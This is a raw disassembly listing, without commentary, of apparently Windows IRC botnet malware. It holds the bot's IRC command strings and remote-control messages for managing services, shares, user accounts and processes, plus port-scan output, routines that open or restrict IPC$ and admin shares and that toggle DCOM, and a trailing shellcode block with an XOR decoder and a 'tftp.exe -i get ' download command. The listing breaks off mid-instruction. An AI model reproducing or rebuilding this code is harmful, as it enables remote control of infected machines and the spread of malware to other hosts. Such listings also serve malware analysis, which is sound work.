dword_42FB94 dd 52455601h, 4E4F4953h, 1dword_42FBA0 dd 6968h aNewshit db 'newshit',0 ; DATA XREF: .nsp0:0040A9FDo a332 db '332',0 ; DATA XREF: .nsp0:0040A96Eo ; .nsp0:0040AA34o ... aNotice db 'NOTICE',0 ; DATA XREF: .nsp0:0040A94Co ; sub_40F9F1+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: .nsp0:0040A940o ; sub_40F9F1+16o dword_42FBC0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040A8EFo dd 2029206Ch, 2BBBB02h aUserSLoggedOut db ' User: %s logged out.',0 align 4 dword_42FBF4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040A8CFo dd 2029206Ch, 2BBBB02h aJoinedChanne_0 db ' Joined channel: %s.',0 align 4 a353 db '353',0 ; DATA XREF: .nsp0:0040A898o aPart db 'PART',0 ; DATA XREF: .nsp0:0040A84Ao ; .nsp0:0040A90Co align 4 aSS_1 db ':%s%s',0 ; DATA XREF: .nsp0:0040A822o align 4 aNick db 'NICK',0 ; DATA XREF: .nsp0:0040A704o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040A6A7o ; .nsp0:0040A930o dword_42FC54 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: .nsp0:0040A68Eo ; .nsp0:0040F6CFo ... dd 2029206Ch, 2BBBB02h aUserSLoggedO_0 db ' User %s logged out.',0 align 4 aKick db 'KICK',0 ; DATA XREF: .nsp0:0040A61Do align 10h aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040A5C6o ; .nsp0:0040E88Co ... align 4 a433 db '433',0 ; DATA XREF: .nsp0:0040A59Eo a302 db '302',0 ; DATA XREF: .nsp0:0040A563o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040A51Do ; .nsp0:0040A6F1o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:0040A4FCo align 10h aPing db 'PING',0 ; DATA XREF: .nsp0:0040A4E2o align 4 asc_42FCC8 db ' :',0 ; DATA XREF: .nsp0:0040A3BFo ; .nsp0:loc_40AC06o align 4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 dword_42FD5C dd 25207325h, 253A2073h, 0A0D73hoff_42FD68 dd offset aAdd ; DATA XREF: sub_40FA8C+6Dr ; sub_40FE70+50r ... ; "Add" off_42FD6C dd offset aAdded ; DATA XREF: sub_40FA8C+2Dr ; sub_40FE70+82r ... ; "Added" dword_42FD70 dd 0 dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 10h dd offset aList_0 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 8 dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 42FDDCh, 42FDD4h, 2, 42FDC8h, 42FDBCh, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: .nsp0:0042FD9Co aStop_0 db 'Stop',0 ; DATA XREF: .nsp0:0042FD98o align 4 aStarted db 'Started',0 ; DATA XREF: .nsp0:0042FD90o aStart_0 db 'Start',0 ; DATA XREF: .nsp0:0042FD8Co align 4 aListed db 'Listed',0 ; DATA XREF: .nsp0:0042FD84o align 4 aList_0 db 'List',0 ; DATA XREF: .nsp0:0042FD80o align 4 aDeleted db 'Deleted',0 ; DATA XREF: .nsp0:0042FD78o aDelete_0 db 'Delete',0 ; DATA XREF: .nsp0:0042FD74o align 4 aAdded db 'Added',0 ; DATA XREF: .nsp0:off_42FD6Co align 4 aAdd db 'Add',0 ; DATA XREF: .nsp0:off_42FD68o dword_42FE30 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40FA8C+74o dd 2029206Ch, 2BBBB02h aSNoServiceSpec db ' %s: No service specified.',0 dword_42FE68 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40FA8C+55o dd 2029206Ch, 2BBBB02h aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0 align 4 dword_42FEA4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40FA8C+38o dd 2029206Ch, 2BBBB02h aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40FBB5+12Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_40FBB5:loc_40FCCDo align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_40FBB5:loc_40FCC6o align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_40FBB5:loc_40FCBFo db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_40FBB5:loc_40FCB8o align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_40FBB5:loc_40FCB1o db ' correct access rights.',0 align 10h aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_40FBB5:loc_40FCAAo align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_40FBB5:loc_40FCA3o align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_40FBB5:loc_40FC9Co align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_40FBB5:loc_40FC95o db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_40FBB5:loc_40FC8Eo align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_40FBB5:loc_40FC63o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_40FBB5:loc_40FC5Co db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_40FBB5:loc_40FC55o db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_40FBB5:loc_40FC4Eo align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_40FBB5+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_40FBB5:loc_40FC23o db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_40FBB5:loc_40FC19o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_40FBB5:loc_40FC0Fo aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_40FBB5:loc_40FC05o align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_40FBB5:loc_40FBFBo align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_40FBB5+3Co align 10h aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_40FD33+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_40FD33:loc_40FDFFo aStarting db ' Starting',0 ; DATA XREF: sub_40FD33:loc_40FDF8o aStoping db ' Stoping',0 ; DATA XREF: sub_40FD33:loc_40FDF1o aRunning_0 db ' Running',0 ; DATA XREF: sub_40FD33:loc_40FDEAo aContinuing db ' Continuing',0 ; DATA XREF: sub_40FD33:loc_40FDE3o aPausing db ' Pausing',0 ; DATA XREF: sub_40FD33:loc_40FDDCo aPaused_0 db ' Paused',0 ; DATA XREF: sub_40FD33:loc_40FDD5o aUnknown_1 db ' Unknown',0 ; DATA XREF: sub_40FD33+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_40FD33+25o align 4 dword_43040C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40FE70+ABo dd 2029206Ch, 2BBBB02h aSNoShareSpecif db ' %s: No share specified.',0 align 4 dword_430444 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40FE70+89o dd 2029206Ch, 2BBBB02h aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0 align 4 dword_430474 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_40FE70+57o dd 2029206Ch, 2BBBB02h aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_410065+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_410065+BCo align 10h aYes db 'Yes',0 ; DATA XREF: sub_410065+B5o dword_4304D4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_410065+76o dd 2029206Ch, 2BBBB02h aShareListError db ' Share list error: %s <%ld>',0 align 10h aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_410065+26o align 4 dword_430548 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_410186+B6o dd 2029206Ch, 2BBBB02h aSNoUsernameSpe db ' %s: No username specified.',0 align 4 dword_430584 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_410186+94o dd 2029206Ch, 2BBBB02h aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0 dword_4305C4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_410186+6Do dd 2029206Ch, 2BBBB02h aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0 align 4 dword_4305F8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4102CC+394o dd 2029206Ch, 2BBBB02h aUserInfoErrorL db ' User info error: <%ld>',0 align 10h aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_4102CC+36Ao align 4 aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_4102CC+33Fo align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_4102CC+317o aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_4102CC+2ECo align 10h aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_4102CC+2C4o align 4 aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_4102CC+299o align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_4102CC+271o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_4102CC+246o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_4102CC+21Eo align 10h aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_4102CC+1F3o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_4102CC+1CBo align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_4102CC+1A0o align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_4102CC+178o align 10h aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_4102CC+14Do align 10h aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_4102CC+125o aGuest db 'Guest',0 ; DATA XREF: sub_4102CC:loc_4103E5o align 4 aUser_1 db 'User',0 ; DATA XREF: sub_4102CC:loc_4103DEo align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_4102CC+D4o aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_4102CC+ACo align 4 aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_4102CC+81o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_4102CC+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_41069A+14Fo align 4 dword_4307B8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_41069A+F7o dd 2029206Ch, 2BBBB02h aAnAccessViolat db ' An access violation has occured.',0 align 4 aS_5 db ' %S',0 ; DATA XREF: sub_41069A+BEo align 10h dword_430800 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_41069A+7Ao dd 2029206Ch, 2BBBB02h aUserListErrorS db ' User list error: %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_41069A+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41081A:loc_410937o align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41081A:loc_410930o align 10h aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41081A:loc_410929o align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41081A:loc_410922o align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41081A:loc_41091Bo align 10h aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_41081A:loc_4108FEo db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41081A:loc_4108F7o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41081A:loc_4108F0o align 4 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_41081A+CFo db ' the domain.',0 align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_41081A:loc_4108C5o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41081A:loc_4108BEo aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_41081A:loc_4108B7o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41081A:loc_4108ADo align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41081A+89o align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41081A:loc_410887o align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41081A:loc_41087Do align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41081A:loc_410873o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_41081A:loc_410869o align 10h aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41081A:loc_41085Fo align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41081A+3Bo align 4 dword_430B1C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_41094E+ABo dd 2029206Ch, 2BBBB02h aSServerSMessag db ' %s <Server: %S> <Message: %S>',0 dword_430B58 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_41094E+81o dd 2029206Ch, 2BBBB02h aMessageSentSuc db ' Message sent successfully.',0 align 4 aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_410A77+120o align 10h aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_410A77+5Ao ; sub_410A77+19Eo align 4 dword_430BB4 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_410C28:loc_410CAFo dd 1F641F6Dh, 2029206Ch, 2BBBB02h aProcessListFai db ' Process list failed.',0 align 4 dword_430BEC dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_410C28:loc_410CA8o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aProcessListCom db ' Process list completed.',0 align 4 dword_430C28 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_410C28+19o dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h dd 72702067h, 7365636Fh, 3A736573h, 0 aConst db 'const',0 align 4 dd 0 dword_430C6C dd 1 off_430C70 dd offset sub_410D6D ; DATA XREF: sub_4110D8+49r aLetter db 'letter',0 align 10h dd 2, 410DCBh, 706D6F63h, 2 dup(0) dd 3, 410E18h, 6E756F63h, 797274h, 0 dd 4, 410EB6h, 736Fh, 2 dup(0) dd 5, 410F2Bh dword_430CC4 dd 69257325h, 0 ; .nsp0:00410E97o ... byte_430CCC db 50h ; DATA XREF: .nsp0:00410E3Ao ; .nsp0:00410E47r db 43h, 2 dup(0) dword_430CD0 dd 7C7325h ; sub_4110D8+39o dword_430CD4 dd 5D73255Bh, 7Chdword_430CDC dd 334B32h dword_430CE0 dd 5D64255Bh, 7325hdword_430CE8 dd 5D4D5Bh ; sub_411035+57o unk_430CEC db 2 ; DATA XREF: sub_411141+92o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0 unk_430D28 db 2 ; DATA XREF: sub_41120E+41o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0 align 4 off_430D68 dd offset dword_430DA0 ; DATA XREF: sub_41135F+1B3o ; .nsp0:004117FDo align 10h dd offset dword_430D98 align 8 off_430D78 dd offset dword_430D94 ; DATA XREF: .nsp0:00411866o dd offset dword_430D90 dd offset dword_430D8C dd offset dword_430D88 dword_430D88 dd 5C3A44h ; .nsp0:00430D84o dword_430D8C dd 2444h dword_430D90 dd 5C3A43h dword_430D94 dd 2443h dword_430D98 dd 494D4441h, 244Ehdword_430DA0 dd 24435049h, 0 unk_430DA8 db 2 ; DATA XREF: sub_41135F+2E5o ; .nsp0:0041195Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0 align 4 unk_430DEC db 2 ; DATA XREF: sub_41135F+2CFo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aNetworkSharesD db ' Network shares deleted.',0 align 4 unk_430E28 db 2 ; DATA XREF: sub_41135F:loc_4115C1o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0 align 4 unk_430E68 db 2 ; DATA XREF: sub_41135F+25Bo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0 align 10h unk_430EA0 db 2 ; DATA XREF: sub_41135F:loc_41152Eo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0 align 10h unk_430EE0 db 2 ; DATA XREF: sub_41135F+1C8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0 align 4 unk_430F18 db 2 ; DATA XREF: sub_41135F:loc_411491o ; .nsp0:loc_4117B1o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0 align 4 unk_430F5C db 2 ; DATA XREF: sub_41135F:loc_41148Ao db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0 align 4 unk_430FAC db 2 ; DATA XREF: sub_41135F:loc_41146Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aRestrictedAcce db ' Restricted access to the IPC$ Share.',0 align 4 unk_430FF4 db 2 ; DATA XREF: sub_41135F+106o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41135F+EDo ; .nsp0:00411770o align 4 unk_431058 db 2 ; DATA XREF: sub_41135F+91o ; .nsp0:00411714o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToOpenDc db ' Failed to open DCOM registry key.',0 align 4 dword_43109C dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h ; DATA XREF: sub_41135F:loc_4113CCo dd 6C1F641Fh, 2202920h, 2002BBBBh, 4F434420h, 6964204Dh dd 6C626173h, 2E6465h unk_4310CC db 2 ; DATA XREF: sub_41135F+66o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aDisableDcomFai db ' Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41135F+54o ; .nsp0:004116D7o align 10h word_431110 dw 4Eh ; DATA XREF: sub_41135F+38r align 4 unk_431114 db 2 ; DATA XREF: .nsp0:00411943o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aNetworkSharesA db ' Network shares added.',0 align 4 aC_0 db '%c:\',0 ; DATA XREF: .nsp0:004118ADo align 4 aC_1 db '%c$',0 ; DATA XREF: .nsp0:0041189Co unk_431158 db 2 ; DATA XREF: .nsp0:loc_411822o ; .nsp0:loc_4118F0o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0 align 4 unk_431194 db 2 ; DATA XREF: .nsp0:0041181Bo ; .nsp0:004118E9o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0 align 4 unk_4311C8 db 2 ; DATA XREF: .nsp0:loc_4117AAo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0 align 4 unk_431218 db 2 ; DATA XREF: .nsp0:loc_41178Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0 unk_431260 db 2 ; DATA XREF: .nsp0:00411785o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0 dword_4312B0 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h ; DATA XREF: .nsp0:loc_4116F0o dd 6C1F641Fh, 2202920h, 2002BBBBh, 4F434420h, 6E65204Dh dd 656C6261h, 2E64h unk_4312E0 db 2 ; DATA XREF: .nsp0:004116E9o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aEnableDcomFail db ' Enable DCOM failed.',0 align 4 word_431318 dw 59h ; DATA XREF: .nsp0:004116BBr align 4 jmp short loc_431320 ; --------------------------------------------------------------------------- loc_43131E: ; CODE XREF: .nsp0:loc_431320p jmp short loc_431325 ; --------------------------------------------------------------------------- loc_431320: ; CODE XREF: .nsp0:0043131Cj call loc_43131E loc_431325: ; CODE XREF: .nsp0:loc_43131Ej pop ebx xor ecx, ecx mov cx, 0FFFFh loc_43132C: ; CODE XREF: .nsp0:00431331j xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_43132C add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cl, 0FFh loc_431342: ; CODE XREF: .nsp0:00431347j xor byte ptr [ebx+0Ch], 0FFh inc ebx loop loc_431342 ; --------------------------------------------------------------------------- db 3 dup(0) dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; --------------------------------------------------------------------------- push 0 call sub_4313E4 jnz short loc_4313D0 retn ; --------------------------------------------------------------------------- loc_4313D0: ; CODE XREF: .nsp0:004313CDj ; .nsp0:004313DDj call loc_4313D6 ; --------------------------------------------------------------------------- align 2 loc_4313D6: ; CODE 